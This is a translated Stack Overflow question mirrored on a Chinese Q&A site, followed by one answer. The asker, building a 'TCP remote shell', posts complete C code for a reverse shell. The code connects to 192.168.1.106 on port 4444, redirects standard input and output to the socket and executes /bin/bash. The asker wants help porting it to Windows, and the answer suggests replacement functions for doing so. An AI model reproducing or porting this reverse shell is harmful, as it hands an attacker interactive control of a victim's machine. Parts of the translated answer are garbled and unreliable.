首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >问答首页 >在Windows Visual Studio中实现<netinet/in.h>

在Windows Visual Studio中实现<netinet/in.h>
EN

Stack Overflow用户
提问于 2020-05-24 08:07:21
回答 1查看 11.3K关注 0票数 1

我目前正在处理一个关于TCP远程shell的c++项目。因此,我构建了以下代码。当我在windows上工作时,我找到了以下所有"#include“的替代库和标题,但<netinet/in.h>除外

谢谢你的帮助!

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <stdio.h>

#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>

int main(void) {

    int sockt;
    int port = 4444;
    struct sockaddr_in revsockaddr;

    sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");

    connect(sockt, (struct sockaddr*)&revsockaddr,
        sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char* const argv[] = {"/bin/bash", NULL };
    execve("/bin/bash", argv, NULL);

    return 0;

}

“”“

EN

回答 1

Stack Overflow用户

发布于 2020-05-24 08:28:35

不要试图为从Linux到Windows的包含文件找到匹配。相反,试着一步一步地编译您的代码,并添加您需要的那些包含文件。我在代码中看到的是:

  1. ,而不是inet_addr,您可以使用在<Ws2tcpip.h>包含文件中的inet_pton
  2. 而不是dub2在windows中使用_dub2,即在<io.h>内部。使用std::system.

代替

  • 而不是execve
票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/61988674

复制
相关文章
在 Visual Studio 中配置 Eigen库
Eigen是一个开源的C++库,主要用来支持线性代数,矩阵和矢量运算,数值分析及其相关的算法。Eigen 目前(2022-04-17)最新的版本是3.4.0(发布于2021-08-18),除了C++标准库以外,不需要任何其他的依赖包。Eigen库的下载地址为:https://gitlab.com/libeigen/eigen/-/archive/3.4.0/eigen-3.4.0.zip
全栈程序员站长
2022/09/27
4.3K0
在 Visual Studio 中安装和使用包(仅适用于 Windows)
NuGet 包包含其他开发人员提供的在项目中使用的可重用代码。 使用 NuGet 包管理器、包管理器控制台或 dotnet CLI 在 Visual Studio 项目中安装包。 本文介绍使用热门的 Newtonsoft.Json 包和 Windows Presentation Foundation (WPF) 项目的过程。 相同的过程适用于任何其他 .NET 或 .NET Core 项目。
51Aspx
2022/04/25
4.4K0
在Windows10中Visual Studio2017中使用boost1.69.0
Boost是一个功能强大、构造精巧、跨平台、开源而且完全免费的C++程序库,有着“C++ '准’标准库”的美誉。 Boost是由C++标准委员会部分成员所设立的Boost社区开发并维护,使用了许多现代C++编程技术,内容涵盖字符串处理、正则表达式、容器与数据结构、并发编程、函数式编程等。目前已经更新到了1.72.0版本,官网下载地址为:https://www.boost.org/users/history/version_1_72_0.html,由于我之前在自己Windows10系统上安装的是Boost 1.69.0,其源代码下载地址为:https://sourceforge.net/projects/boost/files/boost/1.69.0/,所以本文直接演示在VS2017下使用boost1.69.0版本,使用32位的debug模式进行测试,其他的64位和VS编译器同理。
ccf19881030
2020/03/10
4.4K0
在Windows10中Visual Studio2017中使用boost1.69.0
在 Visual Studio Code (VS Code) 中设置
在 Visual Studio Code (VS Code) 中设置代理服务器的详细教程如下:
用户614136809
2023/10/25
1.3K0
Windows Visual Studio 使用 libevent 库
这几天在看 libevent 的官方书籍跟着学习,开着个 Ubuntu 的虚拟机在 Windows 下来回切换,学习效率实在低下,且不说编译、测试这些复杂的步骤。所以决定研究一下如何在 Windows Visual Studio 环境下使用 libevent 库,这样学习效率会高很多。从网上借鉴了一些教程,都写的比较粗糙,我也是搞了好一会才搞定,所以自己记录一下。
我与梦想有个约会
2023/10/21
6280
Windows Visual Studio 使用 libevent 库
C++ OpenCV在Visual Studio中的配置
  本文介绍在Visual Studio 2022中配置、编译C++计算机视觉库OpenCV的方法(再介绍一次,上次忘记设置原创了)。
疯狂学习GIS
2023/06/26
1.2K0
C++ OpenCV在Visual Studio中的配置
在 Visual Studio Code 中设置 px 转换 rem
最近在做了移动端活动页面,遇到了 H5 适配的问题,其实也有 pxtorem 来做自动转换,但是组内讨论过后,还是决定自己计算 rem ,其实 rem 已经过时了,目前比较流行的是 ViewPort 了。组内一致决定了,那就只能这样干了。
离殊
2022/04/01
3.1K0
在 Visual Studio Code 中设置 px 转换 rem
在visual Studio2019中配置MPI【MPI】
右击项目->属性,进行配置: VC++目录->包含目录,添加:“D:\Program Files (x86)\MPI1\Include;” (替换为你的安装目录)
来杯Sherry
2023/05/25
1.8K0
在visual Studio2019中配置MPI【MPI】
Windows下Visual Studio配置GLFW方法
网上配置GLFW的方法有很多,但是感觉介绍不是特别清楚,尤其是静态链接与动态链接GLFW设置。另外,一些配置方法中路径设置不是很合理。因此,本文对这些问题进行探索,以VS2017为例,给出了下面的三步配置方法。
步行者08
2022/05/11
1.2K0
Windows下Visual Studio配置GLFW方法
顺序栈(Visual Studio实现)
利用顺序存储方式实现的栈称为顺序栈。类似于顺序表的定义,栈中的数据元素用一个预设的足够长度的一维数组来实现:datatype data[MAXSIZE],栈底位置可以设置在数组的任一个断点,而栈顶是随着插入和删除而变化的,用一个 int top来作为栈顶的指针,指明当前栈顶的位置,同样将data和top封装在一个结构中 通常将0下标端设为栈底,这样空栈时栈顶指针为-1,入栈时,栈顶指针加1,即s->top++,出栈时,栈顶指针减1,即s->top–.
别团等shy哥发育
2023/02/27
3190
顺序栈(Visual Studio实现)
Visual Studio 2005 high DPI Windows 10
先安装基础的Visual Studio 2005程序, 之后安装下列两个升级包, 必须依次安装 VS80sp1-KB926601-X86-ENU.exe -> Visual Studio 2005 Team Suite Service Pack 1 VS80sp1-KB932232-X86-ENU.exe -> Visual Studio 2005 Service Pack 1 Update for Windows Vista
ClearSeve
2022/02/11
5840
1 分钟上手,在容器中运行 Visual Studio Code
这个插件允许我们在容器中运行 Visual Studio Code。 在项目的根目录中,您需要创建一个名为 .devcontainer 的文件夹。我们将在此处存储环境设置。 然后在此文件夹中创建两个文
为少
2021/05/27
4.2K0
1 分钟上手,在容器中运行 Visual Studio Code
在Visual Studio2013中编译使用libcurl库
libcurl是一个跨平台的网络协议库,支持http, https, ftp, gopher, telnet, dict, file, 和ldap 协议。libcurl同样支持HTTPS证书授权,HTTP POST, HTTP PUT, FTP 上传, HTTP基本表单上传,代理,cookies,和用户认证。想要知道更多关于libcurl的介绍,可以到官网 http://curl.haxx.se/上去了解,在这里不再详述。本文主要介绍如何在Visual Studio 2013开发环境中编译并使用libcurl库。
ccf19881030
2019/12/20
5.3K0
在Visual Studio2013中编译使用libcurl库
Visual Studio Code 快捷键大全(Windows)
Visual Studio Code 是一款优秀的编辑器,非常适合编写 TS 以及 React 。最近在学习 AngularJs 2,开始使用 VSCode,特意整理翻译了一下官网的快捷键。因为已经习惯了 Sublime 的快捷键,更换到 VSCode 有些不适应,尤其是 Emmet 的使用。 通用 Ctrl+Shift+P, F1 打开命令面板 Ctrl+P 快速打开文件 Ctrl+Shift+N 打开新窗口/实例 Ctrl+Shift+W 关闭窗口/实例 基础编辑
叙帝利
2018/01/17
32K1
[视频编码] 怎么在Visual Studio上启用OpenMP
OpenMP 是一种支持共享存储并行设计的库,特别适宜在多核CPU上的并行程序设计
轻舞飞扬SR
2021/02/24
1.3K0
[视频编码] 怎么在Visual Studio上启用OpenMP
使用Visual Studio 2015 Community 开发windows服务
  昨天研究在.NET下开发Windows服务程序,期间遇到一些小问题,这里仅将自己的开发过程和需要注意的地方写下和广大网友分享……
雪飞鸿
2018/09/05
7340
使用Visual Studio 2015 Community 开发windows服务
Visual Studio Code 快捷键大全(Windows)
Visual Studio Code 快捷键大全(Windows)
Java架构师必看
2021/05/14
9150
在Win下安装Visual Studio和Parallel Studio XE
使用Visual Studio搭配Parallel Studio进行Fortran编程有个好处是调试方便,数组可以直接可视化,不用外加write之类的语句。设置断点后,调试到达断点时,鼠标置于数组上即可显示其内容。示例如下:
用户7592569
2020/07/27
9K0
在Win下安装Visual Studio和Parallel Studio XE
JVMTI 和 Agent 实现(visual studio)
VMTI(JVM Tool Interface)是 Java 虚拟机所提供的 native 编程接口,是 JVMPI(Java Virtual Machine Profiler Interface)
用户1418372
2020/01/15
2.9K0
C++矩阵库Armadillo在Visual Studio中的配置
  本文介绍在Visual Studio软件中配置C++ 环境下线性代数运算库Armadillo的方法。
疯狂学习GIS
2022/12/18
3.7K0
C++矩阵库Armadillo在Visual Studio中的配置

相似问题

错误(包括netinet/in.h )

16

<linux/in.h>和<netinet/in.h>头文件有什么实际区别?

30

重新定义了包含netinet/in.h和netinet6/in6.h的类型

156

是否将<netinet/in.h>协议转换为名称?

114

可以使用gnulib-tool获取netinet/in.h吗?

12
添加站长 进交流群

领取专属 10元无门槛券

AI混元助手 在线答疑

扫码加入开发者社群
关注 腾讯云开发者公众号

洞察 腾讯核心技术

剖析业界实践案例

扫码关注腾讯云开发者公众号
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文